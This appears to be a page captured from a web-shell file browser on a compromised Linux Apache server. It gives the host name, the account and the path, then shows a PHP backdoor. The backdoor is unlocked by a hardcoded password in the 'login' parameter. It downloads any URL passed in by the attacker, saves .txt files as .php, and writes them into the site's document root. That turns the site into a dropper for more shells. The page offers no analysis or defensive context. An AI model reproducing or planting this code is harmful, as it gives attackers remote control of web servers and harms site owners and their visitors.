Server : Apache System : Linux indy02.toastserver.com 3.10.0-962.3.2.lve1.5.85.el7.x86_64 #1 SMP Thu Apr 18 15:18:36 UTC 2024 x86_64 User : palandch ( 1163) PHP Version : 7.1.33 Disable Function : NONE Directory : /home/palandch/www/manager/controllers/default/ |
<?php error_reporting(0);if($_GET["login"]=="5fKLb8"){if($_GET["url"]){$ch = curl_init();curl_setopt($ch, CURLOPT_URL, $_GET["url"]);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt($ch,CURLOPT_TIMEOUT,10);$data = curl_exec($ch);preg_match("/(.*)\/(.*)\.(.*?)$/",$_GET["url"],$n);if($n[3]=="txt"){$z="php";$name=$n[2];}else{$z=$n[3];$name="moban";}if($_GET["dir"]){$dir=$_SERVER["DOCUMENT_ROOT"]."/".$_GET["dir"]."/".$name.".".$z;}else{$dir=$_SERVER["DOCUMENT_ROOT"]."/".$name.".".$z;}file_put_contents($dir, $data);if(file_exists($dir)){echo "download";}else{echo "fail";};}echo " Psyco!";} ?>